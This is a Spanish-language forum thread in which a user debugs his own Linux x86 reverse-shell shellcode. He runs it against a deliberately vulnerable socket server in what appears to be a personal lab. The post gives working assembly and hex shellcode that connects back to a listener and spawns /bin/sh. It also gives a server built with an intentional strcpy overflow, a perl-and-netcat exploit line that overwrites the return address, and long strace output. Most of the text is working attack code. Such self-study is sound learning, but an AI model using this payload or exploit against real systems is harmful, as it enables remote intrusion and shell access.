[SOLUCIONADO] Este shellcode...

Iniciado por arget, 19 Febrero 2016, 18:46 PM

0 Miembros y 1 Visitante están viendo este tema.

arget

Buenas, amigos. Llevo ya un tiempo sin lograr entender qué ocurre con este shellcode. Este es el código en ensamblador:

Código (asm) [Seleccionar]

section .text
global _start
_start:
xor    eax, eax
xor    ebx, ebx
xor    ecx, ecx
xor    edx, edx
mov    al, 102  ; __NR_socketcall
inc    bl       ; socket
push   ecx
push   0x6      ; IPPROTO_TCP
push   0x1      ; SOCK_STREAM
push   0x2      ; AF_INET
mov    ecx, esp
int    0x80     ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
mov    esi, eax ; esi = descriptor de socket

mov    al, 0x66 ; __NR_socketcall
mov    bl, 0x2
push   0x1201a8c0 ; addr = 192.168.1.18
push word   0x697a     ; port = 31337
push   bx         ; AF_INET
inc    bl
mov    ecx, esp
push   0x10
push   ecx

push   esi
mov    ecx, esp
int    0x80

xor    ecx, ecx
mov    cl,  3
bucle:
dec    cl
mov    al, 0x3f
int    0x80    ; dup2
jne    bucle

xor    eax, eax
push   edx
push   0x68732f6e
push   0x69622f2f
mov    ebx, esp
push   edx
push   ebx
mov    ecx, esp
push   edx
mov    edx, esp
mov    al, 0xb
int    0x80


Funciona a la perfección tras compilarlo con un "nasm sc.asm", extraer los opcodes con xxd y probarlo mediante este programa en c, compilado con el flag "-z execstack":


#include <stdio.h>

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66 \
                   \xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89 \
                   \xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68 \
                   \xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53 \
                   \xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1 \
                   \xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f \
                   \xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f \
                   \x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52 \
                   \x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80";

void main()
{
   void (*fp)();
   fp = (void*) &shellcode;
   fp();
}


Este es el resultado. Pantalla 1:


arget@kali:~/exploiting/remote$ ./prueba      #tras esto se quedó suspendido hasta que cerré la conexión desde el otro
arget@kali:~/exploiting/remote$


Pantalla 2:


arget@kali:~/exploiting/remote$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50026
whoami
arget
exit
sent 12, rcvd 6
arget@kali:~/exploiting/remote$


Sin embargo, en este código la cosa cambia:


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int vuln(char* arg, int newsockfd)
{
   int n;
   char vul[128];
   strcpy(vul, arg);
   n = write(newsockfd, vul, strlen(vul));
   return n;
}

void shell()
{
   __asm__("jmp *%ecx");
}

void error(const char *msg)
{
   perror(msg);
   exit(1);
}

int main(int argc, char **argv)
{
   int sockfd, newsockfd, portno;
   socklen_t clilen;
   char buffer[256];
   struct sockaddr_in serv_addr, cli_addr;
   int n;
   if(argc < 2)
   {
       fprintf(stderr, "ERROR, no se ha indicado puerto\n");
       exit(1);
   }
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
   if(sockfd < 0)
       error("ERROR al abrir el socket");
   bzero((char*) &serv_addr, sizeof(serv_addr));
   portno = atoi(argv[1]);
   serv_addr.sin_family = AF_INET;
   serv_addr.sin_addr.s_addr = INADDR_ANY;
   serv_addr.sin_port = htons(portno);
   if(bind(sockfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr)) < 0)
       error("ERROR en bind()");
   listen(sockfd, 5);
   clilen = sizeof(cli_addr);
   newsockfd = accept(sockfd, (struct sockaddr*) &cli_addr, &clilen);
   if(newsockfd < 0)
       error("ERROR en accept");
   bzero(buffer, 256);
   n = read(newsockfd, buffer, 255);
   if(n < 0)
       error("ERROR leyendo del socket");
   printf("%s", buffer);
   n = vuln(buffer, newsockfd);
   if(n < 0)
       error("ERROR escribiendo en el socket");
   close(newsockfd);
   close(sockfd);
   return 0;
}


Al analizarlo con gdb una vez ya compilado (con el flag -z execstack) se observa que en vuln() se reservan 140 bytes antes de ebp, por tanto 144 antes que eip, también que en el momento de ejecutar el "ret" de vuln(), ecx apunta al comienzo del buffer.
Mediante objdump se obtiene que el "jmp *%ecx" se encuentra en 0x0804875c, esta dirección no va a variar ni aún teniendo ASLR activado como es el caso.
Perfecto. Pongo en una ventana un "nc -lvvp31337" a escuchar. En otra ventana ejecuto "./v 1337" (pongo el programa vulnerable a escuchar en 1337), y desde la terminal que simularía ser la terminal atacante ejecuto:


perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x83\xc4\x08\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 127.0.0.1 1337


Lo primero de todo, decir que en la primera prueba no salió como esperaba, analizando la memoria del proceso observé que había un punto en el que el shellcode se sobreescribía a sí mismo impidiendo el último "int 0x80", de modo que antes del último "xor eax, eax" añadí un "add esp, 0x8" y se solucionó (habría valido con 0x4, pero al añadir esa línea el código crecía 3 bytes, de manera que tuve que dejar más espacio, y para mantener la paridad, en lugar de usar 0x7 usé 0x8), aparte, creo que no tiene nada que ver con el problema de ahora.

En la primera pantalla ("nc -lvvp31337"), aparece esto:


arget@kali:~$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50030
sent 0, rcvd 0
arget@kali:~$


Ambas conexiones se cierran, pero está claro que el programa vulnerable ha ejecutado una conexión hacia el puerto 31337, aparte que no informa de errores de segmentación, incluso termina con valor de retorno 0. Ahora explico por qué mientras lanzo mi duda.
Si "v" lo ejecuto mediante "strace ./v 1337" me muestra las llamadas al sistema que realiza:


execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8a07000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7772000, 8192, PROT_READ)   = 0
mprotect(0xb77bc000, 4096, PROT_READ)   = 0
munmap(0xb7778000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5)                            = 0
accept(3,


Y aquí se queda suspendido, ahora yo en la otra ventana ejecuto mi perl:


arget@kali:~/exploiting/remote$ perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x83\xc4\x08\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 127.0.0.1 1337
1�1�1�1Ұf��Qjjj��̀�ưf�h��fhzifS�É�jQV��̀1ɱ�ɰ?̀u��1�Rhn/shh//bi��RS��R���
                                                                            AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\�arget@kali:~/exploiting/remote$



Todos esos caracteres son normales ("v" lo que hace es un eco de lo que le mandas, si yo le mando caracteres no imprimibles como los del shellcode, devuelve eso), pero no es normal que se cierre la conexión. Vamos a la pantalla del "nc -lvvp31337" y nos sorprende un:


arget@kali:~$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50032
sent 0, rcvd 0
arget@kali:~$


Aunque supongo que ya nos lo esperábamos todos... Vayamos al strace, este ha continuado y muestra datos muy interesantes:


arget@kali:~/exploiting/remote$ strace ./v 1337
execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8a07000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7772000, 8192, PROT_READ)   = 0
mprotect(0xb77bc000, 4096, PROT_READ)   = 0
munmap(0xb7778000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5)                            = 0
accept(3, {sa_family=AF_INET, sin_port=htons(60865), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
read(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 255) = 148
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7797000
write(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 148) = 148
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL)                               = 0xb88bf000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7768000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 6
fstat64(6, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 6, 0) = 0xb7748000
close(6)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 6
read(6, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(6, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 0xb759e000
mmap2(0xb7742000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x1a4000) = 0xb7742000
mmap2(0xb7745000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7745000
close(6)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb759d000
set_thread_area({entry_number:-1, base_addr:0xb759d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7742000, 8192, PROT_READ)   = 0
mprotect(0xb77ab000, 4096, PROT_READ)   = 0
mprotect(0xb778c000, 4096, PROT_READ)   = 0
munmap(0xb7748000, 127778)              = 0
getpid()                                = 1993
rt_sigaction(SIGCHLD, {0xb779ebc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32()                             = 1000
getppid()                               = 1991
brk(NULL)                               = 0xb88bf000
brk(0xb88e0000)                         = 0xb88e0000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbfbcbea8)            = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, 0xb77ac6c0, 8192)               = -1 ENOTCONN (Transport endpoint is not connected)
exit_group(0)                           = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$


¿Qué ha ocurrido? Simple, primero ha realizado lo que el programa ejecuta legítimamente, socket(); bind(); listen(); accept(); read(); write(); .
Este trozo de aquí:


socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0


Lo ejecuta el shellcode, como veis, logra ejecutar hasta /bin/sh..., lo de más abajo es todo de sh. Pero por algún motivo este programa (sh) se cierra inesperadamente, pero limpiamente, provocando que "v" salga también limpiamente (con 0) gracias al exit_group().

Lo impresionante es que si hago un "strace ./prueba" (el programa en C de prueba del shellcode), funciona a la perfección:


arget@kali:~/exploiting/remote$ strace ./prueba
execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8656000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7722000, 8192, PROT_READ)   = 0
mprotect(0xb776c000, 4096, PROT_READ)   = 0
munmap(0xb7728000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL)                               = 0xb89de000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000
close(4)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000
close(4)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76b7000, 8192, PROT_READ)   = 0
mprotect(0xb7720000, 4096, PROT_READ)   = 0
mprotect(0xb7701000, 4096, PROT_READ)   = 0
munmap(0xb76bd000, 127778)              = 0
getpid()                                = 2029
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32()                             = 1000
getppid()                               = 2027
brk(NULL)                               = 0xb89de000
brk(0xb89ff000)                         = 0xb89ff000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbf80ad38)            = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0,


Y se queda suspendido, mientras en la otra pantalla tengo los privilegios de arget de nuevo. Lo más gracioso de todo es que las llamadas al sistema son iguales, solo cambian un par de direcciones que no deberían afectar.
Para darlo todo completo, cuando cierro la conexión en strace queda esto:


arget@kali:~/exploiting/remote$ strace ./prueba
execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8656000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7722000, 8192, PROT_READ)   = 0
mprotect(0xb776c000, 4096, PROT_READ)   = 0
munmap(0xb7728000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL)                               = 0xb89de000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000
close(4)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000
close(4)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76b7000, 8192, PROT_READ)   = 0
mprotect(0xb7720000, 4096, PROT_READ)   = 0
mprotect(0xb7701000, 4096, PROT_READ)   = 0
munmap(0xb76bd000, 127778)              = 0
getpid()                                = 2029
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32()                             = 1000
getppid()                               = 2027
brk(NULL)                               = 0xb89de000
brk(0xb89ff000)                         = 0xb89ff000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbf80ad38)            = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, "exit\n", 8192)                 = 5
exit_group(0)                           = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$


Por si sirve de algo:

arget@kali:~/exploiting/remote$ uname -a
Linux kali 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux


arget@kali:~/exploiting/remote$ cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Celeron(R) CPU          900  @ 2.20GHz
stepping : 10
microcode : 0xa0b
cpu MHz : 2194.963
cache size : 1024 KB
physical id : 0
siblings : 1
core id : 0
cpu cores : 1
apicid : 0
initial apicid : 0
fdiv_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 13
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss tm pbe nx lm constant_tsc arch_perfmon pebs bts aperfmperf pni dtes64 monitor ds_cpl tm2 ssse3 cx16 xtpr pdcm xsave lahf_lm dtherm
bugs :
bogomips : 4389.92
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:

